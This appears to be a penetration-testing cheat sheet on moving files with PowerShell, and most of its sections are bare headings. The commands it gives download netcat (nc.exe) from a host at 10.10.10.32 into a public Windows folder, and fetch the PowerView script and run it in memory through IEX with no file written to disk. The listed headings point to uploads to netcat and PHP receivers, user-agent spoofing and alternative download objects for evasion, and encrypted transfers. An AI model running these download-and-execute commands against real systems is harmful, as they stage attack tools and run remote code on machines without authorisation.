PowerShell Transfers
Downloads — Net.WebClient
# Download to disk
(New-Object Net.WebClient).DownloadFile('http://10.10.10.32/nc.exe','C:\Users\Public\nc.exe')
# Async variant
(New-Object Net.WebClient).DownloadFileAsync('http://10.10.10.32/nc.exe','C:\Users\Public\nc.exe')
# Fileless — download string and execute in memory
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.32/PowerView.ps1')
# Pipeline variant
(New-Object Net.WebClient).DownloadString('http://10.10.10.32/PowerView.ps1') | IEXDownloads — Invoke-WebRequest
Invoke-WebRequest http://10.10.10.32/PowerView.ps1 -OutFile PowerView.ps1Downloads — Start-BitsTransfer
Base64 Download (No Network)
Base64 Upload (No Network)
Uploads — PSUpload.ps1
Uploads — Base64 POST to Netcat
Uploads — UploadFile to PHP Receiver
FTP via PowerShell
PowerShell Remoting (WinRM)
Proxy-Aware Downloader
Evasion — User Agent Spoofing
Method
User-Agent
Evasion — Alternative COM Download Objects
AES Encryption (Protected Transfers)
Last updated